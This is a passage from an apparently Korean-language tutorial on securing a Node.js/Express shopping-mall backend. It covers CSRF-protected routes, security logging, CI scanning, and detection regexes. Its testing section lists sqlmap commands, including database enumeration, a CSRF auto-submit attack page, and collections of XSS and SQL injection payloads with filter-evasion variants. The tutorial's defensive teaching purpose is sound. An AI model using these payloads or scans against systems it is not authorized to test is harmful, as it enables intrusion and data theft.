const { csrfProtection } = require('../middleware/csrf');

// โœ… ์ƒํ’ˆ ๋ชฉ๋ก ์กฐํšŒ (์•ˆ์ „ํ•œ ํŽ˜์ด์ง•)
router.get('/', searchValidation, async (req, res) => {
  try {
    const page = parseInt(req.query.page) || 1;
    const limit = 20;
    const offset = (page - 1) * limit;
    
    const { count, rows } = await Product.findAndCountAll({
      limit,
      offset,
      order: [['createdAt', 'DESC']]
    });
    
    res.json({
      products: rows,
      totalPages: Math.ceil(count / limit),
      currentPage: page
    });
  } catch (error) {
    console.error('Product list error:', error);
    res.status(500).json({ error: '์ƒํ’ˆ ๋ชฉ๋ก์„ ๋ถˆ๋Ÿฌ์˜ฌ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค' });
  }
});

// โœ… ์ƒํ’ˆ ๊ฒ€์ƒ‰ (SQL Injection ๋ฐฉ์–ด)
router.get('/search', searchValidation, async (req, res) => {
  try {
    const keyword = req.query.q;
    const category = req.query.category;
    
    const whereClause = {};
    
    if (keyword) {
      whereClause.name = {
        [sequelize.Op.like]: `%${keyword}%`
      };
    }
    
    if (category) {
      whereClause.category = category;
    }
    
    const products = await Product.findAll({
      where: whereClause,
      limit: 50
    });
    
    res.json(products);
  } catch (error) {
    console.error('Search error:', error);
    res.status(500).json({ error: '๊ฒ€์ƒ‰ ์ค‘ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค' });
  }
});

// โœ… ์ƒํ’ˆ ์ƒ์„ธ ์กฐํšŒ
router.get('/:id', async (req, res) => {
  try {
    const productId = parseInt(req.params.id);
    
    if (isNaN(productId) || productId <= 0) {
      return res.status(400).json({ error: '์œ ํšจํ•˜์ง€ ์•Š์€ ์ƒํ’ˆ ID์ž…๋‹ˆ๋‹ค' });
    }
    
    const product = await Product.findByPk(productId);
    
    if (!product) {
      return res.status(404).json({ error: '์ƒํ’ˆ์„ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค' });
    }
    
    res.json(product);
  } catch (error) {
    console.error('Product detail error:', error);
    res.status(500).json({ error: '์ƒํ’ˆ ์ •๋ณด๋ฅผ ๋ถˆ๋Ÿฌ์˜ฌ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค' });
  }
});

// โœ… ์ƒํ’ˆ ๋“ฑ๋ก (๊ด€๋ฆฌ์ž ์ „์šฉ, CSRF ๋ณดํ˜ธ)
router.post('/', 
  csrfProtection,
  productValidation,
  async (req, res) => {
    try {
      // ๊ด€๋ฆฌ์ž ๊ถŒํ•œ ํ™•์ธ
      if (req.user.role !== 'admin') {
        return res.status(403).json({ error: '๊ถŒํ•œ์ด ์—†์Šต๋‹ˆ๋‹ค' });
      }
      
      const { name, price, category, description } = req.body;
      
      // XSS ๋ฐฉ์–ด: HTML ์ƒˆ๋‹ˆํƒ€์ด์ฆˆ
      const sanitizedDescription = sanitizeHtmlContent(description);
      
      const product = await Product.create({
        name,
        price,
        category,
        description: sanitizedDescription
      });
      
      res.status(201).json(product);
    } catch (error) {
      console.error('Product creation error:', error);
      res.status(500).json({ error: '์ƒํ’ˆ ๋“ฑ๋ก ์ค‘ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค' });
    }
  }
);

// โœ… ์ƒํ’ˆ ์ˆ˜์ • (๊ด€๋ฆฌ์ž ์ „์šฉ, CSRF ๋ณดํ˜ธ)
router.put('/:id',
  csrfProtection,
  productValidation,
  async (req, res) => {
    try {
      if (req.user.role !== 'admin') {
        return res.status(403).json({ error: '๊ถŒํ•œ์ด ์—†์Šต๋‹ˆ๋‹ค' });
      }
      
      const productId = parseInt(req.params.id);
      const { name, price, category, description } = req.body;
      
      const product = await Product.findByPk(productId);
      
      if (!product) {
        return res.status(404).json({ error: '์ƒํ’ˆ์„ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค' });
      }
      
      const sanitizedDescription = sanitizeHtmlContent(description);
      
      await product.update({
        name,
        price,
        category,
        description: sanitizedDescription
      });
      
      res.json(product);
    } catch (error) {
      console.error('Product update error:', error);
      res.status(500).json({ error: '์ƒํ’ˆ ์ˆ˜์ • ์ค‘ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค' });
    }
  }
);

module.exports = router;
routes/orders.js
const express = require('express');
const router = express.Router();
const Order = require('../models/Order');
const Product = require('../models/Product');
const { orderValidation } = require('../middleware/validation');
const { csrfProtection } = require('../middleware/csrf');
const { requireAuth } = require('../middleware/auth');

// โœ… ์ฃผ๋ฌธ ์ƒ์„ฑ (CSRF ๋ณดํ˜ธ + ํŠธ๋žœ์žญ์…˜)
router.post('/',
  requireAuth,
  csrfProtection,
  orderValidation,
  async (req, res) => {
    const t = await sequelize.transaction();
    
    try {
      const { productId, quantity, shippingAddress } = req.body;
      const userId = req.user.id;
      
      // ์ƒํ’ˆ ์ •๋ณด ์กฐํšŒ (๋ฝ ๊ฑธ๊ธฐ)
      const product = await Product.findByPk(productId, {
        lock: t.LOCK.UPDATE,
        transaction: t
      });
      
      if (!product) {
        await t.rollback();
        return res.status(404).json({ error: '์ƒํ’ˆ์„ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค' });
      }
      
      // ์žฌ๊ณ  ํ™•์ธ
      if (product.stock < quantity) {
        await t.rollback();
        return res.status(400).json({ error: '์žฌ๊ณ ๊ฐ€ ๋ถ€์กฑํ•ฉ๋‹ˆ๋‹ค' });
      }
      
      // ์ด ๊ฐ€๊ฒฉ ๊ณ„์‚ฐ
      const totalPrice = product.price * quantity;
      
      // ์ฃผ๋ฌธ ์ƒ์„ฑ
      const order = await Order.create({
        userId,
        productId,
        quantity,
        totalPrice,
        shippingAddress
      }, { transaction: t });
      
      // ์žฌ๊ณ  ์ฐจ๊ฐ
      await product.update({
        stock: product.stock - quantity
      }, { transaction: t });
      
      await t.commit();
      
      res.status(201).json(order);
    } catch (error) {
      await t.rollback();
      console.error('Order creation error:', error);
      res.status(500).json({ error: '์ฃผ๋ฌธ ์ฒ˜๋ฆฌ ์ค‘ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค' });
    }
  }
);

// โœ… ๋‚ด ์ฃผ๋ฌธ ๋ชฉ๋ก ์กฐํšŒ
router.get('/my-orders', requireAuth, async (req, res) => {
  try {
    const orders = await Order.findAll({
      where: { userId: req.user.id },
      include: [
        {
          model: Product,
          attributes: ['name', 'price', 'imageUrl']
        }
      ],
      order: [['createdAt', 'DESC']]
    });
    
    res.json(orders);
  } catch (error) {
    console.error('Order list error:', error);
    res.status(500).json({ error: '์ฃผ๋ฌธ ๋ชฉ๋ก์„ ๋ถˆ๋Ÿฌ์˜ฌ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค' });
  }
});

// โœ… ์ฃผ๋ฌธ ์ƒ์„ธ ์กฐํšŒ
router.get('/:id', requireAuth, async (req, res) => {
  try {
    const orderId = parseInt(req.params.id);
    
    if (isNaN(orderId)) {
      return res.status(400).json({ error: '์œ ํšจํ•˜์ง€ ์•Š์€ ์ฃผ๋ฌธ ID์ž…๋‹ˆ๋‹ค' });
    }
    
    const order = await Order.findOne({
      where: {
        id: orderId,
        userId: req.user.id  // ๋ณธ์ธ ์ฃผ๋ฌธ๋งŒ ์กฐํšŒ ๊ฐ€๋Šฅ
      },
      include: [Product]
    });
    
    if (!order) {
      return res.status(404).json({ error: '์ฃผ๋ฌธ์„ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค' });
    }
    
    res.json(order);
  } catch (error) {
    console.error('Order detail error:', error);
    res.status(500).json({ error: '์ฃผ๋ฌธ ์ •๋ณด๋ฅผ ๋ถˆ๋Ÿฌ์˜ฌ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค' });
  }
});

// โœ… ์ฃผ๋ฌธ ์ทจ์†Œ (CSRF ๋ณดํ˜ธ)
router.post('/:id/cancel',
  requireAuth,
  csrfProtection,
  async (req, res) => {
    const t = await sequelize.transaction();
    
    try {
      const orderId = parseInt(req.params.id);
      
      const order = await Order.findOne({
        where: {
          id: orderId,
          userId: req.user.id
        },
        transaction: t,
        lock: t.LOCK.UPDATE
      });
      
      if (!order) {
        await t.rollback();
        return res.status(404).json({ error: '์ฃผ๋ฌธ์„ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค' });
      }
      
      // ์ด๋ฏธ ๋ฐฐ์†ก๋œ ์ฃผ๋ฌธ์€ ์ทจ์†Œ ๋ถˆ๊ฐ€
      if (['shipped', 'delivered'].includes(order.status)) {
        await t.rollback();
        return res.status(400).json({ error: '๋ฐฐ์†ก ์ค‘์ด๊ฑฐ๋‚˜ ์™„๋ฃŒ๋œ ์ฃผ๋ฌธ์€ ์ทจ์†Œํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค' });
      }
      
      // ์ฃผ๋ฌธ ์ทจ์†Œ
      await order.update({ status: 'cancelled' }, { transaction: t });
      
      // ์žฌ๊ณ  ๋ณต๊ตฌ
      const product = await Product.findByPk(order.productId, { transaction: t });
      await product.update({
        stock: product.stock + order.quantity
      }, { transaction: t });
      
      await t.commit();
      
      res.json({ message: '์ฃผ๋ฌธ์ด ์ทจ์†Œ๋˜์—ˆ์Šต๋‹ˆ๋‹ค' });
    } catch (error) {
      await t.rollback();
      console.error('Order cancellation error:', error);
      res.status(500).json({ error: '์ฃผ๋ฌธ ์ทจ์†Œ ์ค‘ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค' });
    }
  }
);

module.exports = router;
โœ… 4๋‹จ๊ณ„: ๋ฉ”์ธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์„ค์ •

app.js
const express = require('express');
const session = require('express-session');
const { securityHeaders, limiter } = require('./config/security');
const { cookieParser, csrfProtection, generateToken, csrfErrorHandler } = require('./middleware/csrf');
const { sanitizeInput } = require('./middleware/sanitize');

const app = express();

// ๋ณด์•ˆ ํ—ค๋” ์„ค์ •
app.use(securityHeaders);

// Rate Limiting
app.use('/api/', limiter);

// Body Parser
app.use(express.json({ limit: '10mb' }));
app.use(express.urlencoded({ extended: true, limit: '10mb' }));

// Cookie Parser
app.use(cookieParser());

// ์„ธ์…˜ ์„ค์ •
app.use(session({
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,
    secure: process.env.NODE_ENV === 'production',
    sameSite: 'strict',
    maxAge: 24 * 60 * 60 * 1000 // 24์‹œ๊ฐ„
  }
}));

// CSRF ๋ณดํ˜ธ
app.use(csrfProtection);
app.use(generateToken);

// XSS ๋ฐฉ์–ด (์ž…๋ ฅ ์ƒˆ๋‹ˆํƒ€์ด์ œ์ด์…˜)
app.use(sanitizeInput);

// ๋ผ์šฐํŠธ
app.use('/api/products', require('./routes/products'));
app.use('/api/orders', require('./routes/orders'));
app.use('/api/auth', require('./routes/auth'));

// CSRF ํ† ํฐ ์ œ๊ณต ์—”๋“œํฌ์ธํŠธ
app.get('/api/csrf-token', (req, res) => {
  res.json({ csrfToken: req.csrfToken() });
});

// CSRF ์—๋Ÿฌ ํ•ธ๋“ค๋Ÿฌ
app.use(csrfErrorHandler);

// ์ „์—ญ ์—๋Ÿฌ ํ•ธ๋“ค๋Ÿฌ
app.use((err, req, res, next) => {
  console.error('Error:', err);
  
  if (process.env.NODE_ENV === 'production') {
    res.status(500).json({ error: '์„œ๋ฒ„ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค' });
  } else {
    res.status(500).json({ 
      error: err.message,
      stack: err.stack 
    });
  }
});

const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
  console.log(`Server running on port ${PORT}`);
});

module.exports = app;
๐Ÿ’ก ํ”„๋ก ํŠธ์—”๋“œ์—์„œ CSRF ํ† ํฐ ์‚ฌ์šฉํ•˜๊ธฐ

React ์˜ˆ์‹œ
import { useState, useEffect } from 'react';

function ProductForm() {
  const [csrfToken, setCsrfToken] = useState('');
  
  // CSRF ํ† ํฐ ๊ฐ€์ ธ์˜ค๊ธฐ
  useEffect(() => {
    fetch('/api/csrf-token')
      .then(res => res.json())
      .then(data => setCsrfToken(data.csrfToken));
  }, []);
  
  const handleSubmit = async (e) => {
    e.preventDefault();
    
    const formData = {
      name: e.target.name.value,
      price: e.target.price.value,
      category: e.target.category.value
    };
    
    try {
      const response = await fetch('/api/products', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
          'CSRF-Token': csrfToken  // CSRF ํ† ํฐ ํฌํ•จ
        },
        body: JSON.stringify(formData)
      });
      
      if (response.ok) {
        alert('์ƒํ’ˆ์ด ๋“ฑ๋ก๋˜์—ˆ์Šต๋‹ˆ๋‹ค!');
      }
    } catch (error) {
      console.error('Error:', error);
    }
  };
  
  return (
    <form onSubmit={handleSubmit}>
      <input type="text" name="name" required />
      <input type="number" name="price" required />
      <select name="category" required>
        <option value="electronics">์ „์ž์ œํ’ˆ</option>
        <option value="fashion">ํŒจ์…˜</option>
      </select>
      <button type="submit">๋“ฑ๋ก</button>
    </form>
  );
}
Vanilla JavaScript ์˜ˆ์‹œ
// CSRF ํ† ํฐ์„ meta ํƒœ๊ทธ์—์„œ ๊ฐ€์ ธ์˜ค๊ธฐ
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;

// ๋ชจ๋“  AJAX ์š”์ฒญ์— ์ž๋™์œผ๋กœ CSRF ํ† ํฐ ํฌํ•จ
fetch('/api/orders', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'CSRF-Token': csrfToken
  },
  body: JSON.stringify({
    productId: 123,
    quantity: 2,
    shippingAddress: '์„œ์šธ์‹œ ๊ฐ•๋‚จ๊ตฌ...'
  })
})
.then(response => response.json())
.then(data => console.log('Success:', data))
.catch(error => console.error('Error:', error));

๐Ÿ” ๋ณด์•ˆ ํ…Œ์ŠคํŠธ ๋ฐ ๋ชจ๋‹ˆํ„ฐ๋ง

๐Ÿ“Œ ๋ณด์•ˆ ์ทจ์•ฝ์  ํ…Œ์ŠคํŠธํ•˜๊ธฐ

์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ–ˆ๋‹ค๋ฉด ์‹ค์ œ๋กœ ์•ˆ์ „ํ•œ์ง€ ํ…Œ์ŠคํŠธํ•ด๋ด์•ผ๊ฒ ์ง€?
์—ฌ๋Ÿฌ ๊ฐ€์ง€ ๋„๊ตฌ์™€ ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•ด์„œ ๋ณด์•ˆ ์ทจ์•ฝ์ ์„ ์ฐพ์•„๋ณด์ž! ๐Ÿ”Ž

๐Ÿ› ๏ธ ๋ณด์•ˆ ํ…Œ์ŠคํŠธ ๋„๊ตฌ๋“ค

1. OWASP ZAP (Zed Attack Proxy)
๋ฌด๋ฃŒ ์˜คํ”ˆ์†Œ์Šค ๋ณด์•ˆ ์Šค์บ๋„ˆ์•ผ. ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์ทจ์•ฝ์ ์„ ์ž๋™์œผ๋กœ ์ฐพ์•„์ค˜.

ZAP ์‚ฌ์šฉ ๋ฐฉ๋ฒ•
# Docker๋กœ ZAP ์‹คํ–‰
docker run -u zap -p 8080:8080 -i owasp/zap2docker-stable zap.sh \
  -daemon -host 0.0.0.0 -port 8080 -config api.disablekey=true

# ์Šค์บ” ์‹œ์ž‘
curl "http://localhost:8080/JSON/spider/action/scan/?url=http://your-shop.com"

# ์Šค์บ” ๊ฒฐ๊ณผ ํ™•์ธ
curl "http://localhost:8080/JSON/core/view/alerts/"
2. Burp Suite
ํ”„๋กœํŽ˜์…”๋„ํ•œ ๋ณด์•ˆ ํ…Œ์ŠคํŠธ ๋„๊ตฌ. ๋ฌด๋ฃŒ Community Edition๋„ ์žˆ์–ด!

3. SQLMap
SQL Injection ์ทจ์•ฝ์ ์„ ์ž๋™์œผ๋กœ ์ฐพ๊ณ  ๊ณต๊ฒฉํ•˜๋Š” ๋„๊ตฌ.

SQLMap ์‚ฌ์šฉ ์˜ˆ์‹œ
# ๊ธฐ๋ณธ ์Šค์บ”
sqlmap -u "http://shop.com/product?id=1"

# POST ์š”์ฒญ ํ…Œ์ŠคํŠธ
sqlmap -u "http://shop.com/login" --data="email=test&password=test"

# ์ฟ ํ‚ค ํฌํ•จ ํ…Œ์ŠคํŠธ
sqlmap -u "http://shop.com/profile" --cookie="session=abc123"

# ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ •๋ณด ์ถ”์ถœ ์‹œ๋„
sqlmap -u "http://shop.com/product?id=1" --dbs
4. XSStrike
XSS ์ทจ์•ฝ์ ์„ ์ฐพ๋Š” ์ „๋ฌธ ๋„๊ตฌ.

XSStrike ์‚ฌ์šฉ ์˜ˆ์‹œ
# ์„ค์น˜
git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
pip install -r requirements.txt

# ์Šค์บ” ์‹คํ–‰
python xsstrike.py -u "http://shop.com/search?q=test"
๐Ÿงช ์ˆ˜๋™ ๋ณด์•ˆ ํ…Œ์ŠคํŠธ

์ž๋™ํ™” ๋„๊ตฌ๋„ ์ข‹์ง€๋งŒ, ์ˆ˜๋™์œผ๋กœ ์ง์ ‘ ํ…Œ์ŠคํŠธํ•˜๋Š” ๊ฒƒ๋„ ์ค‘์š”ํ•ด!

CSRF ํ…Œ์ŠคํŠธ
1. ๋กœ๊ทธ์ธํ•œ ์ƒํƒœ์—์„œ ๊ฐœ๋ฐœ์ž ๋„๊ตฌ ์—ด๊ธฐ
2. CSRF ํ† ํฐ ์ œ๊ฑฐํ•˜๊ณ  ์š”์ฒญ ๋ณด๋‚ด๊ธฐ
3. 403 ์—๋Ÿฌ๊ฐ€ ๋‚˜์˜ค๋ฉด ์„ฑ๊ณต! โœ…

CSRF ํ…Œ์ŠคํŠธ HTML
<!-- ์•…์„ฑ ์‚ฌ์ดํŠธ ์‹œ๋ฎฌ๋ ˆ์ด์…˜ -->
<html>
<body>
  <form action="http://your-shop.com/api/orders" method="POST">
    <input type="hidden" name="productId" value="1" />
    <input type="hidden" name="quantity" value="100" />
  </form>
  <script>
    document.forms[0].submit();
  </script>
</body>
</html>

<!-- ์ด ํŽ˜์ด์ง€๋ฅผ ์—ด์—ˆ์„ ๋•Œ ์ž๋™์œผ๋กœ ์ฃผ๋ฌธ์ด ์ƒ์„ฑ๋˜๋ฉด CSRF ์ทจ์•ฝ! -->
XSS ํ…Œ์ŠคํŠธ
๋‹ค์–‘ํ•œ XSS ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ž…๋ ฅํ•ด๋ณด๊ธฐ:

XSS ํ…Œ์ŠคํŠธ ํŽ˜์ด๋กœ๋“œ
<!-- ๊ธฐ๋ณธ ์Šคํฌ๋ฆฝํŠธ -->
<script>alert('XSS')</script>

<!-- ์ด๋ฏธ์ง€ ํƒœ๊ทธ -->
<img src=x onerror=alert('XSS')>

<!-- ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ -->
<body onload=alert('XSS')>

<!-- SVG -->
<svg onload=alert('XSS')>

<!-- ์ธ์ฝ”๋”ฉ ์šฐํšŒ -->
<script>alert(String.fromCharCode(88,83,83))</script>

<!-- ๋Œ€์†Œ๋ฌธ์ž ํ˜ผํ•ฉ -->
<ScRiPt>alert('XSS')</ScRiPt>

<!-- ๊ณต๋ฐฑ ๋ฌธ์ž ์‚ฝ์ž… -->
<img src=x onerror="alert('XSS')">

<!-- HTML ์—”ํ‹ฐํ‹ฐ -->
<img src=x onerror="alert('XSS')">
SQL Injection ํ…Œ์ŠคํŠธ
๋‹ค์–‘ํ•œ SQL Injection ํŽ˜์ด๋กœ๋“œ ์‹œ๋„:

SQL Injection ํ…Œ์ŠคํŠธ ํŽ˜์ด๋กœ๋“œ
-- ๊ธฐ๋ณธ ํ…Œ์ŠคํŠธ
' OR '1'='1
" OR "1"="1
' OR 1=1--
" OR 1=1--

-- UNION ๊ณต๊ฒฉ
' UNION SELECT NULL--
' UNION SELECT NULL, NULL--
' UNION SELECT username, password FROM users--

-- ์‹œ๊ฐ„ ๊ธฐ๋ฐ˜ Blind
' AND SLEEP(5)--
'; WAITFOR DELAY '00:00:05'--

-- Boolean ๊ธฐ๋ฐ˜ Blind
' AND 1=1--
' AND 1=2--

-- ์ฃผ์„ ์šฐํšŒ
'/**/OR/**/1=1--
'/**/UNION/**/SELECT/**/NULL--

-- ์ธ์ฝ”๋”ฉ ์šฐํšŒ
%27%20OR%201=1--
' OR 1=1--
โœ… ์ž๋™ํ™”๋œ ๋ณด์•ˆ ํ…Œ์ŠคํŠธ (CI/CD ํ†ตํ•ฉ)

GitHub Actions ๋ณด์•ˆ ์›Œํฌํ”Œ๋กœ์šฐ
name: Security Scan

on:
  push:
    branches: [ main, develop ]
  pull_request:
    branches: [ main ]

jobs:
  security-scan:
    runs-on: ubuntu-latest
    
    steps:
    - uses: actions/checkout@v2
    
    # ์˜์กด์„ฑ ์ทจ์•ฝ์  ์Šค์บ”
    - name: Run npm audit
      run: npm audit --audit-level=moderate
    
    # SAST (์ •์  ๋ถ„์„)
    - name: Run Snyk
      uses: snyk/actions/node@master
      env:
        SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
    
    # ์ฝ”๋“œ ํ’ˆ์งˆ ๊ฒ€์‚ฌ
    - name: Run ESLint Security Plugin
      run: |
        npm install eslint-plugin-security
        npx eslint . --ext .js --plugin security
    
    # ์‹œํฌ๋ฆฟ ์Šค์บ”
    - name: GitLeaks Scan
      uses: zricethezav/gitleaks-action@master
    
    # OWASP Dependency Check
    - name: OWASP Dependency Check
      uses: dependency-check/Dependency-Check_Action@main
      with:
        project: 'shopping-mall'
        path: '.'
        format: 'HTML'
    
    # ๊ฒฐ๊ณผ ์—…๋กœ๋“œ
    - name: Upload Results
      uses: actions/upload-artifact@v2
      with:
        name: security-reports
        path: reports/
package.json ๋ณด์•ˆ ์Šคํฌ๋ฆฝํŠธ
{
  "scripts": {
    "security:audit": "npm audit --audit-level=moderate",
    "security:fix": "npm audit fix",
    "security:check": "snyk test",
    "security:monitor": "snyk monitor",
    "lint:security": "eslint . --ext .js --plugin security",
    "test:security": "npm run security:audit && npm run lint:security"
  },
  "devDependencies": {
    "eslint": "^8.0.0",
    "eslint-plugin-security": "^1.7.0",
    "snyk": "^1.800.0"
  }
}
๐Ÿ“Š ๋ณด์•ˆ ๋ชจ๋‹ˆํ„ฐ๋ง ๋ฐ ๋กœ๊น…

๋ณด์•ˆ์€ ํ•œ ๋ฒˆ ์„ค์ •ํ•˜๊ณ  ๋์ด ์•„๋‹ˆ์•ผ. ์ง€์†์ ์œผ๋กœ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๊ณ  ๋กœ๊ทธ๋ฅผ ๋ถ„์„ํ•ด์•ผ ํ•ด! ๐Ÿ“ˆ

โœ… ๋ณด์•ˆ ๋กœ๊น… ๊ตฌํ˜„

๋ณด์•ˆ ๋กœ๊ฑฐ ์„ค์ •
const winston = require('winston');
const DailyRotateFile = require('winston-daily-rotate-file');

// ๋ณด์•ˆ ์ด๋ฒคํŠธ ๋กœ๊ฑฐ
const securityLogger = winston.createLogger({
  level: 'info',
  format: winston.format.combine(
    winston.format.timestamp(),
    winston.format.json()
  ),
  transports: [
    // ์ผ๋ฐ˜ ๋ณด์•ˆ ๋กœ๊ทธ
    new DailyRotateFile({
      filename: 'logs/security-%DATE%.log',
      datePattern: 'YYYY-MM-DD',
      maxSize: '20m',
      maxFiles: '30d'
    }),
    // ์ค‘์š” ๋ณด์•ˆ ์ด๋ฒคํŠธ
    new DailyRotateFile({
      filename: 'logs/security-critical-%DATE%.log',
      datePattern: 'YYYY-MM-DD',
      level: 'error',
      maxSize: '20m',
      maxFiles: '90d'
    })
  ]
});

// ๋ณด์•ˆ ์ด๋ฒคํŠธ ๋กœ๊น… ๋ฏธ๋“ค์›จ์–ด
const logSecurityEvent = (eventType, severity = 'info') => {
  return (req, res, next) => {
    const logData = {
      eventType,
      severity,
      timestamp: new Date().toISOString(),
      ip: req.ip,
      userAgent: req.get('user-agent'),
      url: req.originalUrl,
      method: req.method,
      userId: req.user?.id,
      sessionId: req.sessionID
    };
    
    if (severity === 'error' || severity === 'critical') {
      securityLogger.error(logData);
    } else {
      securityLogger.info(logData);
    }
    
    next();
  };
};

// ์‹คํŒจํ•œ ๋กœ๊ทธ์ธ ์‹œ๋„ ๋กœ๊น…
const logFailedLogin = (email, ip) => {
  securityLogger.warn({
    eventType: 'FAILED_LOGIN',
    email,
    ip,
    timestamp: new Date().toISOString()
  });
};

// SQL Injection ์‹œ๋„ ๊ฐ์ง€
const detectSQLInjection = (req, res, next) => {
  const suspiciousPatterns = [
    /(\%27)|(\')|(\-\-)|(\%23)|(#)/i,
    /((\%3D)|(=))[^\n]*((\%27)|(\')|(\-\-)|(\%3B)|(;))/i,
    /\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/i,
    /union.*select/i,
    /insert.*into/i,
    /delete.*from/i,
    /drop.*table/i
  ];
  
  const checkInput = (input) => {
    return suspiciousPatterns.some(pattern => pattern.test(input));
  };
  
  // Query ํŒŒ๋ผ๋ฏธํ„ฐ ๊ฒ€์‚ฌ
  for (const key in req.query) {
    if (checkInput(req.query[key])) {
      securityLogger.error({
        eventType: 'SQL_INJECTION_ATTEMPT',
        severity: 'critical',
        ip: req.ip,
        url: req.originalUrl,
        parameter: key,
        value: req.query[key]
      });
      
      return res.status(403).json({ error: '์œ ํšจํ•˜์ง€ ์•Š์€ ์š”์ฒญ์ž…๋‹ˆ๋‹ค' });
    }
  }
  
  // Body ํŒŒ๋ผ๋ฏธํ„ฐ ๊ฒ€์‚ฌ
  for (const key in req.body) {
    if (typeof req.body[key] === 'string' && checkInput(req.body[key])) {
      securityLogger.error({
        eventType: 'SQL_INJECTION_ATTEMPT',
        severity: 'critical',
        ip: req.ip,
        url: req.originalUrl,
        parameter: key
      });
      
      return res.status(403).json({ error: '์œ ํšจํ•˜์ง€ ์•Š์€ ์š”์ฒญ์ž…๋‹ˆ๋‹ค' });
    }
  }
  
  next();
};

// XSS ์‹œ๋„ ๊ฐ์ง€
const detectXSS = (req, res, next) => {
  const xssPatterns = [
    /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,
    /javascript:/gi,
    /on\w+\s*=/gi,
    /<iframe/gi,
    /<object/gi,
    /<embed/gi
  ];
  
  const checkInput = (input) => {
    return xssPatterns.some(pattern => pattern.test(input));
  };
  
  for (const key in req.body) {
    if (typeof req.body[key] === 'string' && checkInput(req.body[key])) {
      securityLogger.error({
        eventType: 'XSS_ATTEMPT',
        severity: 'critical',
        ip: req.ip,
        url: req.originalUrl,
        parameter: key
      });
      
      return res.status(403).json({ error: '์œ ํšจํ•˜์ง€ ์•Š์€ ์š”์ฒญ์ž…๋‹ˆ๋‹ค' });
    }
  }
  
  next();
};

module.exports = {
  securityLogger,
  logSecurityEvent,
  logFailedLogin,
  detectSQLInjection,
  detectXSS
};
๋กœ๊ทธ ๋ถ„์„ ์Šคํฌ๋ฆฝํŠธ
const fs = require('fs');
const readline = require('readline');

// ๋ณด์•ˆ ๋กœ๊ทธ ๋ถ„์„
async function analyzeSecurityLogs(logFile) {
  const fileStream = fs.createReadStream(logFile);
  const rl = readline.createInterface({
    input: fileStream,
    crlfDelay: Infinity
  });
  
  const stats = {
    totalEvents: 0,
    failedLogins: 0,
    sqlInjectionAttempts: 0,
    xssAttempts: 0,
    csrfViolations: 0,
    suspiciousIPs: new Map()
  };
  
  for await (const line of rl) {
    try {
      const log = JSON.parse(line);
      stats.totalEvents++;
      
      switch (log.eventType) {
        case 'FAILED_LOGIN':
          stats.failedLogins++;
          break;
        case 'SQL_INJECTION_ATTEMPT':
          stats.sqlInjectionAttempts++;
          break;
        case 'XSS_ATTEMPT':
          stats.xssAttempts++;
          break;
        case 'CSRF_VIOLATION':
          stats.csrfViolations++;
          break;
      }
      
      // ์˜์‹ฌ์Šค๋Ÿฌ์šด IP ์ถ”์ 
      if (log.severity === 'critical' || log.severity === 'error') {
        const count = stats.suspiciousIPs.get(log.ip) || 0;
        stats.suspiciousIPs.set(log.ip, count + 1);
      }
    } catch (error) {
      // ํŒŒ์‹ฑ ์—๋Ÿฌ ๋ฌด์‹œ
    }
  }
  
  // ๊ฒฐ๊ณผ ์ถœ๋ ฅ
  console.log('=== ๋ณด์•ˆ ๋กœ๊ทธ ๋ถ„์„ ๊ฒฐ๊ณผ ===');
  console.log(`์ด ์ด๋ฒคํŠธ: ${stats.totalEvents}`);
  console.log(`์‹คํŒจํ•œ ๋กœ๊ทธ์ธ: ${stats.failedLogins}`);
  console.log(`SQL Injection ์‹œ๋„: ${stats.sqlInjectionAttempts}`);
  console.log(`XSS ์‹œ๋„: ${stats.xssAttempts}`);
  console.log(`CSRF ์œ„๋ฐ˜: ${stats.csrfViolations}`);
  
  console.log('\n=== ์˜์‹ฌ์Šค๋Ÿฌ์šด IP (์ƒ์œ„ 10๊ฐœ) ===');
  const sortedIPs = [...stats.suspiciousIPs.entries()]
    .sort((a, b) => b[1] - a[1])
    .slice(0, 10);
  
  sortedIPs.forEach(([ip, count]) => {
    console.log(`${ip}: ${count}ํšŒ`);
  });
  
  // ์ฐจ๋‹จ์ด ํ•„์š”ํ•œ IP ๋ชฉ๋ก
  const ipsToBlock = sortedIPs
